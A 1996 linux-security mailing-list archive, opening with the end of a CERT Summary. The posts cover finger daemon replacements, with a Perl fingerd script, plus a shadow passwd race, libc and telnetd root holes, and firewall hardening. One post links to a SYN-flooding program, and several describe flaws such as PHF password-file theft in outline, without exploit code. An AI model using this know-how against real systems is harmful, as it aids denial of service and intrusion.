Service Attacks Instructions for executing denial-of-service attacks and programs to implement such attacks have recently been widely distributed. Since this information was published, we have noticed a significant and rapid increase in the number of denial-of-service attacks executed against sites. To learn more about denial-of-service attacks and how to limit them, see ftp://info.cert.org/pub/cert_advisories/CA-96.21.tcp_syn_flooding To monitor and log an attack, you can use a tool such as Argus. For more information regarding Argus, see ftp://info.cert.org/pub/tech_tips/security_tools 2. Continuing Linux Exploitations We continue to see incidents in which Linux machines are the victims of break-ins leading to root compromises. In many of these incidents, the systems were misconfigured and/or the intruders exploited well-known vulnerabilities for which CERT advisories have been published. If you are running Linux, we strongly urge you to keep up to date with patches and security workarounds. We also recommend that you review ftp://info.cert.org/pub/cert_advisories/CA-94:01.network.monitoring.attacks ftp://info.cert.org/pub/tech_tips/root_compromise Further, you may want to monitor the Linux newsgroups and mailing lists for security patches and workarounds. More information can be found at http://bach.cis.temple.edu/linux/linux-security/ 3. PHF Exploits At least weekly, and often daily, we see reports of password files being obtained illegally by intruders who have exploited a vulnerability in the PHF cgi-bin script. The script is installed by default with several implementations of httpd servers, and it contains a weakness that allows intruders to retrieve the password file for the machine running the httpd server. The vulnerability is described in ftp://info.cert.org/pub/cert_advisories/CA-96.06.cgi_example_code Once the intruders retrieve the password file, they may attempt to crack the passwords found in the file. For information about protecting your password files, please see ftp://info.cert.org/pub/tech_tips/passwd_file_protection 4. Software Piracy We have received frequent reports regarding software piracy since the last CERT Summary was issued. Although software piracy is beyond the scope of the mission of the CERT Coordination Center, it is often associated with compromised hosts or accounts because intruders sometimes use compromised hosts to distribute pirated software. News of illegal collections of software circulates quickly within the underground community, which may focus unwanted attention on a site used for software piracy. We encourage you to periodically check your systems for signs of software piracy. To learn more, please examine our relevant tech tips: ftp://info.cert.org/pub/tech_tips/anonymous_ftp_abuses ftp://info.cert.org/pub/tech_tips/anonymous_ftp_config To learn more about detecting and preventing security breaches, please see ftp://info.cert.org/pub/tech_tips/intruder_detection_checklist - ---------------------------------- What's New in the CERT FTP Archive - ---------------------------------- We have made the following changes since the last CERT Summary (July 23, 1996). * README Files Incorporated into Advisories As of August 30, 1996, we no longer put advisory updates into README files. We now revise the advisories themselves. In addition, we have updated past advisories with information from their README files. We urge you to check advisories regularly for updates that relate to your site. * New Additions ftp://info.cert.org/pub/cert_advisories/ CA-96.14.rdist_vul CA-96.15.Solaris_KCMS_vul CA-96.16.Solaris_admintool_vul CA-96.17.Solaris_vold_vul CA-96.18.fm_fls CA-96.19.expreserve CA-96.20.sendmail_vul CA-96.21.tcp_syn_flooding ftp://info.cert.org/pub/cert_bulletins/ VB-96.12.freebsd VB-96.13.hp VB-96.14.sgi VB-96.15.sco VB-96.16.transarc ftp://info.cert.org/pub/latest_sw_versions swatch ftp://info.cert.org/pub/tech_tips UNIX_configuration_guidelines These replace the security_info file intruder_detection_checklist (the CERT Security Checklist). security_tools ftp://info.cert.org/pub/vendors/ hp/HPSBUX9607-033 Added Hewlett-Packard bulletin about a security vulnerability in expreserve. * Updated Files ftp://info.cert.org/pub/cert_advisories/ CA-96.02.bind In the appendix, updated Sun Microsystems, Inc. patch information. In section I, added information about the next release of bind and the IsValid program. CA-96.08.pcnfsd Updated URL for IBM Corporation, updated Hewlett-Packard Company patch information, and modified NEC Corporation patch information. CA-96.09.rpc.statd Updated URL for IBM Corporation, removed a workaround for SunOS 4.x (patches now available), updated information on Hewlett-Packard Company, and added patch information for NEC Corporation. Also updated opening paragraph. CA-96.14.rdist_vul In Appendix A, added note under Silicon Graphics, Inc. about using the find command, updated the Hewlett-Packard Company entry, added information about Digital Equipment Corporation, and added an IBM Corporation URL. CA-96.15.Solaris_KCMS_vul In Introduction, added information about Solaris 2.5.1. CA-96.18.fm_fls Added vendor information to Appendix A. Added Section III.B, which provides another possible solution to the problem. CA-96.19.expreserve In Appendix A, added information for Silicon Graphics Inc. and Sun Microsystems, Inc. CA-96.20.sendmail_vul Added to Sec. III.B instructions on configuring sendmail at sites that use '&' in the gecos filed of /etc/passwd. Added to Sec. III.C a note on uid for "mailnull" user. In the appendix, added information from FreeBSD, Inc. and Berkeley Software Design, Inc. (BSDI). ftp://info.cert.org/pub/FIRST first-contacts ftp://info.cert.org/pub/latest_sw_versions rdist-patch-status Updated information for Hewlett-Packard Company and NeXT Software, Inc. information. Updated rdist version information in Section II.G. sendmail ftp://info.cert.org/pub/tech_tips root_compromise - --------------------------------------------------------------------------- How to Contact the CERT Coordination Center Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST (GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA To be added to our mailing list for CERT advisories and bulletins, send your email address to [email protected] CERT advisories and bulletins are posted on the USENET news group comp.security.announce CERT publications, information about FIRST representatives, and other security-related information are available for anonymous FTP from http://www.cert.org/ ftp://info.cert.org/pub/ If you wish to send sensitive incident or vulnerability information to CERT staff by electronic mail, we strongly advise you to encrypt your message. We can support a shared DES key or PGP. Contact the CERT staff for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key - --------------------------------------------------------------------------- Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and credit is given to the CERT Coordination Center. CERT is a service mark of Carnegie Mellon University. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMkhCfHVP+x0t4w7BAQFR5gQAtYvbKLJAbTzfRizblM9mbl/4oLfnsqdQ HcX8KKDNAtVd2DWKGEsq7U7v9w8KyzDtVpRFba8VSsVmpzixzxnbZSifwyfkcuX9 x2xbQ1SVWBjep399HkbYtS0Y3C0RdCo9p/uxdB5/GkZqD3NMdPoBvFf+j/H6376w tDcheNKNobk= =DZgd -----END PGP SIGNATURE----- linux-security/linux-security.960927100664 1767 1767 5256 6223025051 16636 0ustar majdommajdomFrom [email protected] Fri Sep 27 15:23:44 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id PAA12065; Fri, 27 Sep 1996 15:23:44 -0400 Message-Id: <[email protected]> X-Mailer: exmh version 1.6.9 08/22/96 To: Malcolm Beattie cc: [email protected] (Andrew G. Morgan), [email protected] Subject: Re: [linux-security] Re: GSSAPI for Linux (follow up..) In-reply-to: <[email protected]> from Malcolm Beattie on Fri, 20 Sep 1996 09:57:00 BST. Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 20 Sep 1996 11:54:43 -0400 From: Marc Ewing Sender: [email protected] Precedence: list Malcolm Beattie writes: > I am going to put up an RPM for K5beta7 RSN. I prepared one for > beta6 and the binary RPM came out at slightly over a megabyte > (thanks to --enable-shared working nicely). I mailed RedHat a > couple of weeks or so ago asking them to add the Kerberos ports > to /etc/services (in the "setup" RPM) but they haven't replied yet. > That means you have to manually append to /etc/services (on the > client side, kshell needs to be in there for rsh to work). Apart > from that, a single "rpm -i" and everything works fine (well it > did with beta6 but beta7 seems to have broken credential forwarding > for some reason). Our next release (and probably the Rembrandt beta -- I haven't checked), will have the following entried in /etc/secrives: kerberos 88/udp kdc # Kerberos authentication--udp kerberos 88/tcp kdc # Kerberos authentication--tcp klogin 543/tcp # Kerberos authenticated rlogin kshell 544/tcp cmd # and remote shell kerberos-adm 749/tcp # Kerberos 5 admin/changepw kerberos-adm 749/udp # Kerberos 5 admin/changepw kerberos-sec 750/udp # Kerberos authentication--udp kerberos-sec 750/tcp # Kerberos authentication--tcp kerberos_master 751/udp # Kerberos authentication kerberos_master 751/tcp # Kerberos authentication krb5_prop 754/tcp # Kerberos slave propagation kpop 1109/tcp # Pop with Kerberos eklogin 2105/tcp # Kerberos encrypted rlogin krb524 4444/tcp # Kerberos 5 to 4 ticket xlator Should anything else be there? -Marc linux-security/linux-security.960928100664 1767 1767 12065 6223211102 16645 0ustar majdommajdomFrom [email protected] Sat Sep 28 07:55:24 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id HAA20115; Sat, 28 Sep 1996 07:55:24 -0400 Date: Wed, 25 Sep 1996 18:04:48 +0600 (GMT+0600) From: M Shariful Anam To: Richard Huveneers Cc: [email protected] Subject: Re: [linux-security] Finger Doubt In-Reply-To: <[email protected]> Message-Id: Organization: Kaifnet Services (Bangladesh) Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On 23 Sep 1996, Richard Huveneers wrote: > Did a lot of searching on the web and found 'ffingerd'. This one looks > very secure to me. For instance, it's not capable of forwarding finger > queries and global (@...) finger queries. It should be run as nobody and I'm using cfingerd for some time. It doesn't support forwarding finger, or @host queries (actually it is configurable). > supports the '.nofinger' file in the users home-dir. This is supported by cfingerd too. BTW, I wanted to contact Ken Hollis for cfingerd, but my mails got bounced. Anyone got his current email? --- M Shariful Anam Kaifnet Services -- Bangladesh From [email protected] Sat Sep 28 07:55:30 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id HAA20130; Sat, 28 Sep 1996 07:55:30 -0400 Date: Wed, 25 Sep 1996 09:53:37 -0400 (EDT) From: Christopher Hicks Reply-To: Christopher Hicks To: Linux Security Subject: [linux-security] SYN flooding program In-Reply-To: <[email protected]> Message-ID: Organization: Flamingo Internet Navigators MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list For the person who was interested in testing SYN flooding, there's a program at: http://www.catch22.com/Twilight.NET/phuncnet/archive/packets/spoofers/sf2.c I can't testify to the functionality of the program. I found it using a search engine and thought I'd pass it along. It seems to part of a bigger snooping package. Make sure the source isn't doing anything you don't want it do before compiling. P.S.: Incidentally, hotbot was the only search engine (out of 6) I tested that came up with anything useful. ([email protected]) If you're not part of the solution, you're part of the precipitate. - Steven Wright From [email protected] Sat Sep 28 07:55:43 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id HAA20196; Sat, 28 Sep 1996 07:55:43 -0400 From: David Holland Message-Id: <[email protected]> Subject: Re: [linux-security] Cfinger (Yet more :) To: [email protected] (Grant Taylor) Date: Tue, 24 Sep 1996 21:21:06 -0400 (EDT) Cc: [email protected] In-Reply-To: <[email protected]> from "Grant Taylor" at Sep 23, 96 02:21:02 pm X-Mailer: ELM [version 2.4 PL22] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > > Aside from the fact that the standard rwho protocol is a complete > > loss, this isn't a bad idea. The only problem is that rwho doesn't > > give last login information. This may or may not be an issue. > > It's not an issue for me, since last login time is among the things I > *don't* want to give out. You are certainly correct that the rwho > protocol is pathetic, but it has the advantage of being already > written and more or less adequate for single segment networks where > you trust people. And where there aren't many users. > > (Also, why the fuss about fingerd? fingerd is just a wrapper that > > runs finger.) > > Because I like different levels of information for random net users > and local users. Local users are welcome to know where each other's > mail goes, when foo was last on, etc. "Strangers" are welcome to know > who's where now and only now, and whatever my users explicitly give > away in .plan and .project. Why not have fingerd pass finger an argument saying "hi, you're being run from fingerd, restrict your output"...? > I also have an unreasoning fear of any network sevice that runs > commands derived from untrusted input, particularly when it's not > subject to as much scrutiny as, say, sendmail or httpd. finger's been subjected to a good deal of scrutiny. -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 linux-security/linux-security.960929100664 1767 1767 3355 6223461002 16636 0ustar majdommajdomFrom [email protected] Sun Sep 29 07:48:17 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id HAA30452; Sun, 29 Sep 1996 07:48:17 -0400 Date: Sat, 28 Sep 1996 16:14:18 -0500 (CDT) From: James Sneeringer To: [email protected] cc: M Shariful Anam Subject: Re: [linux-security] Finger Doubt In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Wed, 25 Sep 1996, M Shariful Anam wrote: > > BTW, I wanted to contact Ken Hollis for cfingerd, but my mails got > bounced. Anyone got his current email? >From the cfingerd 1.3.0 man page: CONTACTING If you like the software, and you want to learn more about the software, or want to see a feature added to it that isn't already here, then please write to khollis@bit- gate.com. ... Extra note: cfingerd is now being maintained by Michael Jarvis. Any additions after cfingerd 1.2.3 should be directed towards Michael. You can reach him at [email protected]. Incidentally, for those (like me) who are paranoid about any process that runs as root, a version of cfingerd 1.3.0 has been hacked to run as user `nobody'. I found it on sunsite.unc.edu, in /pub/Linux/Incoming, though I'd imagine it will be moved in the near future. The stock version is in the Incoming directory as well. Filenames: cfingerd-1.3.0.tar.gz cfingerd-1.3.0.noroot.tar.gz -James linux-security/linux-security.961002100664 1767 1767 11746 6224411725 16650 0ustar majdommajdomFrom [email protected] Wed Oct 2 03:03:47 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id DAA28103; Wed, 2 Oct 1996 03:03:47 -0400 Message-Id: <[email protected]> Subject: Re: [linux-security] Finger Doubt To: [email protected] Date: Tue, 1 Oct 1996 18:54:10 -0500 (CDT) Cc: [email protected] Reply-To: [email protected] (Igor Chudov) In-Reply-To: <[email protected]> from "Richard Huveneers" at Sep 23, 96 08:44:48 pm From: [email protected] (Igor Chudov @ home) X-No-Archive: yes Organization: Bool Sheet Software X-Mailer: ELM [version 2.4 PL24 ME7] Content-Type: text Sender: [email protected] Precedence: list Here's my fingerd, it does not give any dynamic information about users and lets them customize what they want to be shown (see comments). It also lets sysadmin customize the site banner. let me know if you like it. #!/usr/local/bin/perl # # This is a replacement for my previous accept_finger SHELL script. # # This script shows only user name and .plan and .project. No # security-sensitive information such as shells, dirs, login times, etc # is shown. # # This perl script has the following advantages: # 1) it is shorter than the shell script # 2) it works MUCH faster # 3) it is more secure ######################################################################### # # Note that users can customize information about them in three ways: # 1) Create file $HOME/.nosuchuser. This will make the daemon pretend # like these users do not exist. Helps against spanking. # # 2) Create file $HOME/.nofinger. This will make the daemon to refuse # giving out ANY information about you. However, it will give # an indication that a user with your name exists on the system. # (see item 1)). # # 3) Create file /etc/issue.finger with some banner about your site # # You can also customize logging (see below). # # If you do these customizations, MAKE SURE USERS' DIRECTORYS ARE WORLD # EXECUTABLE!!!! ########################################################################## # # This is a FREE software and comes with no warranty. See GNU Public # License for details. [email protected] ########################################################################## # ############################################################### customization # define logger args $NeedLogger = 1; # set to 0 if you do not want logging @LoggerArgs = ( "/usr/bin/logger", "-p", "local3.notice" ); # ###################################################################### # get username from the socket $user = ; chop $user; chop $user; # \n\r in the query, need to chop twice. $user = substr( $user, 0, 15 ); # to protect against logger bugs # ###################################################################### log # Log the event @Logger = (@LoggerArgs, "User $user has been fingered" ); if( $NeedLogger ) { $child = fork; if( $child == 0 ) { # in child exec @Logger; # exec should be secure I think. } } $found = 0; ###################################################################### CatFile # outputs file to stdout sub CatFile { local( $fname ) = pop( @_ ); open( FILE, $fname ); while( ) { print; } close( $fname ); } ####################################################### print nice banner if( -r "/etc/issue.finger" ) { &CatFile( "/etc/issue.finger" ); } else { print "* * * * * * * * * * * Privacy-Enhanced finger server " . "* * * * * * * * * * *\n"; print "==========================================" . "================================\n"; } ###################################################################### # read user database. If you work on BSD types of Unixes, you # may want to customise operator marked by !!!! open( PASSWD, "/etc/passwd" ); while( ) { # you may need to customize this ($name, $pw, $uid, $gid, $realname, $home, $shell) = split( /:/ ); # !!!! if( $name eq $user ) { # OK, user found. now, what to do? if( -f "$home/.nosuchuser" ) { # pretend like there is no such person, to prevent excessive spanking last; # this stops the loop but looks like no user is found. } $found = 1; if( -f "$home/.nofinger" ) { # paranoid user print "User `$user' suffers from paranoia and decided to " . "disable finger.\nTry email.\n"; last; } print "Thanks for inquiring us about $user.\n$user == $realname.\n"; # # So they want these kewl .project and .plan philez? # if( -r "$home/.project" ) { print "Project:\n"; &CatFile( "$home/.project" ); } if( -r "$home/.plan" ) { print "Plan:\n"; &CatFile( "$home/.plan" ); } # we are done last; } } if( !$found ) { # really not found or we are lying print "User `$user' not found. Try different spelling.\n"; } # like we are good people and close opened files. close( PASSWD ); linux-security/linux-security.961003100664 1767 1767 10553 6225015571 16644 0ustar majdommajdomFrom [email protected] Thu Oct 3 15:50:31 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id PAA09494; Thu, 3 Oct 1996 15:50:31 -0400 Date: Tue, 1 Oct 1996 09:03:21 -0700 X-Sender: [email protected] Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: [email protected] From: [email protected] (Lance Ware) Subject: [linux-security] Proper permissions for sendmail/procmail and directories Sender: [email protected] Precedence: list Greetings, Can anyone point me to the proper permissions for sendmail, procmail, and /var/spool/mail /var/spool/mqueue directories? The installation of DEC AXP RedHat 3.0.3 comes with sendmail and procmail set -rwsr-xr-x. However when set like this procmail consistently has problems with lock files, specifically /var/mail/USERNAME.lock which not only slows mail delivery, but for a busy user also causes corruption because locking does not occur. One fix is to set procmail to -rwsr-sr-x is this secure? Or a big no-no? TIA Lance Ware From [email protected] Thu Oct 3 15:50:51 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id PAA09510; Thu, 3 Oct 1996 15:50:51 -0400 To: [email protected] Date: 2 Oct 1996 12:31:59 GMT From: [email protected] (Richard Huveneers) Message-ID: <[email protected]> Organization: Private site ** OS: Linux ** NTS: INN 1.4 unoff2, Taylor UUCP 1.05 Reply-To: [email protected] Subject: [linux-security] Shadow passwd race condition Sender: [email protected] Precedence: list There is a race condition in the 'passwd' of the shadow password suite. It first fills in a struct spwd, then locks the /etc/shadow file and then writes the structure to the file. Only the entry might be changed before locking the /etc/shadow file, for instance, the password might be locked by the sysadmin! >From a quick grep in the source it looks like 'passwd' is the only tool which has this bug (the others contain a spw_locate() call). Regards, Richard. From [email protected] Thu Oct 3 16:00:56 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id QAA09567; Thu, 3 Oct 1996 16:00:56 -0400 Date: Thu, 3 Oct 1996 12:09:23 -0400 (EDT) From: Jon Lewis To: lilo cc: "Brian A. Lantz" , [email protected], "Peter T. Breuer" Subject: [linux-security] Re: A SERIOUS security problem!!!! In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 3 Oct 1996, lilo wrote: > > people don't read, it's their problem. Are you going to re-announce the > > LD_LIBRARY_PATH hole (and a dozen other holes) every 6 months for all the > > clueless people who don't read? > > Or weren't running Linux six months ago. That's a reasonably good point. Why not encourage linux.org or the LDP (is that still being maintained?) to maintain (or house and let others maintain) a linux security FAQ WWW page that lists every known hole and the fix (and perhaps the exploit). Such a page might even exist already. Anyone know of one? [Mod: Alex Yuriev tries to keep up with these things at "http://bach.cis.temple.edu/linux/linux-security/". It's not a comprehensive archive, but it does outline most of the high (low?) points so far. --Jeff.] All the major distributions could then add something to their install routine that says something like "if you intend to network this system or care about security, check out the Linux Security FAQ at http://www.linux.org/LSF/, for the latest breaking security holes and fixes. I still think linux-kernel and Linus's personal address are the WRONG places to report such things. Those addresses are busy enough. ------------------------------------------------------------------ Jon Lewis | Unsolicited commercial e-mail will Network Administrator | be proof-read for $199/hr. ________Finger [email protected] for PGP public key_______ linux-security/linux-security.961005100664 1767 1767 11175 6225477541 16660 0ustar majdommajdomFrom [email protected] Sat Oct 5 11:31:00 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id LAA27773; Sat, 5 Oct 1996 11:31:00 -0400 Message-Id: <[email protected]> Date: Fri, 04 Oct 1996 16:36:55 +0600 From: M Shariful Anam Organization: Kaifnet Services (Bangladesh). X-Mailer: Mozilla 2.02 (X11; I; Linux 1.2.13 i586) Mime-Version: 1.0 To: [email protected] Cc: [email protected] Subject: [linux-security] problem in in.pop3d Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Hi, While chechking the linux-security faq update, I saw only one line saying "turn off in.pop3d", no explanation, no solution. Can anyone help? Shuman From [email protected] Sat Oct 5 11:31:05 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id LAA27786; Sat, 5 Oct 1996 11:31:05 -0400 From: David Holland Message-Id: <[email protected]> Subject: [linux-security] libc 5.4.7 To: [email protected], [email protected] Date: Fri, 4 Oct 1996 18:36:04 -0400 (EDT) X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Someone should send out an all-points security alert telling people to update to libc 5.4.7 and make sure they're using netkit 0.08. Any takers? I'd do it but my pgp key is stuck on a machine with no net access and a broken floppy drive. I was gratuitously dropped from linux-gcc this week, so if I'm rehashing flame away (and it would be nice if there were still a working list archive...) -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino From [email protected] Sat Oct 5 11:31:43 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id LAA27802; Sat, 5 Oct 1996 11:31:43 -0400 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: Re: [linux-security] Shadow passwd race condition To: [email protected] Date: Fri, 4 Oct 1996 16:32:41 +0200 (MET DST) Cc: [email protected] In-Reply-To: <[email protected]> from "Richard Huveneers" at Oct 2, 96 12:31:59 pm X-Mailer: ELM [version 2.4 PL25 PGP2] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Hi, > There is a race condition in the 'passwd' of the shadow password suite. First of all: I would appreciate if you could report things like this to me (the current maintainer of the shadow suite) first, and specify the version of the package you have... > It first fills in a struct spwd, then locks the /etc/shadow file and then > writes the structure to the file. Not any more, and not just because of the race condition - the info from getspnam() might come from various sources, not necessarily from the /etc/shadow file (NYS!). Since at least shadow-960810 (possibly some earlier version, I'm not sure) we do (in this order): spw_lock(), spw_open(), get the entry using spw_locate(), change anything we need to change, call spw_update(), spw_close(), spw_unlock(). > Only the entry might be changed before locking the /etc/shadow file, for > instance, the password might be locked by the sysadmin! This is still possible, if the password is locked by the sysadmin after the old password has been validated - it's not that simple to deal with, as we don't want to lock the password files for too long. Should the old password be checked again, after the file is locked but before anything is changed? BTW, util-linux passwd does not seem to do this either... Current versions of the shadow suite are available (at least) from: ftp://ftp.cin.net/usr/ggallag/shadow/ ftp://iguana.hut.fi/pub/linux/shadow/ ftp://ftp.icm.edu.pl/pub/Linux/shadow-pwr/ ftp://serek.arch.pwr.wroc.pl/pub/shadow/ ftp://ftp.ists.pwr.wroc.pl/pub/linux/shadow/ Unofficial shadow RPMs for RedHat 3.0.3 are available from: ftp://ftp.broadwaynet.com/pub/shadow/ The latest "believed to be stable" version is shadow-960810. There are even newer but experimental versions in the "dontuse" directory. Please take a look at them and tell me if you think there are still any problems. Thanks! Marek linux-security/linux-security.961006100664 1767 1767 5156 6225750267 16642 0ustar majdommajdomFrom [email protected] Sun Oct 6 06:48:27 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id GAA05316; Sun, 6 Oct 1996 06:48:27 -0400 Message-Id: <[email protected]> To: M Shariful Anam Cc: [email protected] Subject: Re: [linux-security] problem in in.pop3d In-reply-to: Your message of "Fri, 04 Oct 1996 16:36:55 +0600." <[email protected]> Date: Sat, 05 Oct 1996 17:32:40 -0400 From: "Alexander O. Yuriev" Sender: [email protected] Precedence: list Your message dated: Fri, 04 Oct 1996 16:36:55 +0600 > Hi, > > While chechking the linux-security faq update, I saw only one line > saying "turn off in.pop3d", no explanation, no solution. Can anyone > help? Please refere to linux-security archives. There is a race condition in in.pop3d that was not fixed. Alex From [email protected] Sun Oct 6 11:31:02 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id LAA06946; Sun, 6 Oct 1996 11:31:02 -0400 Date: Sun, 6 Oct 1996 09:18:33 -0400 (EDT) From: Roscinante To: Linux-security Subject: Re: [linux-security] libc 5.4.7 In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Fri, 4 Oct 1996, David Holland wrote: > Someone should send out an all-points security alert telling people to > update to libc 5.4.7 and make sure they're using netkit 0.08. I had problems with NetKit-B-0.08 telnet, where when I logged on to a remote system on a high port (MUD's on ports > 4000 for example) after I put my login name, and then the correct passwd, telnet was barfing some wierd error, then crashing.. I wrote the author for this, I'm waiting for a fixed version... ~~ All that is gold does not glitter.. . Not all those who wander are lost..J.R.R.T. . /\ . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ._____// \\_____. And the knowledge that they fear . \\ Rush // . is a weapon to be held against them.. N.P. . \\ 2112 // . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ . // /\ \\ . Ghost in the Machine ([email protected]) I[[[[[[[[]]]]]]]]I Roscinante ([email protected]) http://www.globalent.net/users/fbn linux-security/linux-security.961007100664 1767 1767 3520 6226115613 16623 0ustar majdommajdomFrom [email protected] Mon Oct 7 01:56:26 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id BAA12719; Mon, 7 Oct 1996 01:56:26 -0400 From: David Holland Message-Id: <[email protected]> Subject: Re: [linux-security] libc 5.4.7 To: [email protected] (Rob Glover) Date: Sun, 6 Oct 1996 17:03:21 -0400 (EDT) Cc: [email protected], [email protected], [email protected], [email protected] In-Reply-To: from "Rob Glover" at Oct 6, 96 11:37:33 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > Ahhhh, RESOLV_HOST_CONF is fixed in 5.4.7 eh? well, i fixed it with a > PATCH for 1.8.2..... so, thats no prob ;> I should point out that this is by no means the only security problem fixed in 5.4.7 - there are a number of others, at least one of which can possibly permit anyone anywhere on the net to get a root shell, and several where users can get root shells. RESOLV_HOST_CONF isn't the only environment variable referenced by libc - nor is it the least dangerous one. You need to update to libc 5.4.6 or higher (that protects environment vars in setuid programs) and install the telnetd from NetKit-B-0.08 or equivalent, to protect against having these things sent via telnet. I am not going to post a complete catalog of the problems at this time, but I advise strongly against complacency or assuming a home-grown RESOLV_HOST_CONF patch is sufficient. -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino linux-security/linux-security.961008100664 1767 1767 6271 6226434710 16634 0ustar majdommajdomFrom [email protected] Tue Oct 8 07:23:42 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id HAA23886; Tue, 8 Oct 1996 07:23:42 -0400 From: David Holland Message-Id: <[email protected]> Subject: Re: [linux-security] libc 5.4.7 To: [email protected] (Roscinante) Date: Sun, 6 Oct 1996 22:15:05 -0400 (EDT) Cc: [email protected] In-Reply-To: from "Roscinante" at Oct 6, 96 09:18:33 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > I had problems with NetKit-B-0.08 telnet, where when I logged on to > a remote system on a high port (MUD's on ports > 4000 for example) > after I put my login name, and then the correct passwd, telnet was > barfing some wierd error, then crashing.. I wrote the author for > this, I'm waiting for a fixed version... I'm working on a fixed version [I've been altogether too busy of late, I'm afraid]. It is reasonably safe to use the 0.07A telnet; just don't use it as part of a restricted shell setup. The telnet*D* in 0.07A on the other hand is pretty unsafe. -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino From [email protected] Tue Oct 8 07:23:51 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id HAA23899; Tue, 8 Oct 1996 07:23:51 -0400 Date: Mon, 7 Oct 1996 10:36:36 +0100 (MET) From: Jozsef Kadlecsik To: [email protected] cc: Jozsef Kadlecsik Subject: [linux-security] Linux firewall with ro fs? In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hello, I'm thinking on building a firewall with Linux and have just thought the following: I'm paranoid on firewalls and want it to be as secure as possible. Is there any difficulty in running Linux with all filesystems ro? (The only writable fs would be /var = noexec, nosuid, nodev.) The mount command would be a patched one which wouldn't make possible to re-mount an fs to r/w. [REW: Good idea. Remember to make /tmp a link to /var/tmp. Don't bother with the mount thing. I'd assume that the hackers would be able to get themselves a new mount binary. (If they are already running stuff as root.......) I'd suggest delving into the kernel sources and finish off implementing "securelevel" which would disallow reading/writing devices, and remounting filsystems r/w, loading modules etc etc..] Any comments or hints? Best regards, Jozsef Kadlecsik - E-mail : [email protected], [email protected] WWW-Home: http://www.kfki.hu/~kadlec Address : KFKI Research Institute for Particle and Nuclear Physics P.O.B 49 Budapest, 1525 Hungary linux-security/linux-security.961009100664 1767 1767 40214 6226755143 16656 0ustar majdommajdomFrom [email protected] Wed Oct 9 01:56:18 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id BAA30736; Wed, 9 Oct 1996 01:56:18 -0400 To: [email protected] Path: not-for-mail From: Matt Newsgroups: mail.linux.security Subject: Re: [linux-security] libc 5.4.7 Date: 8 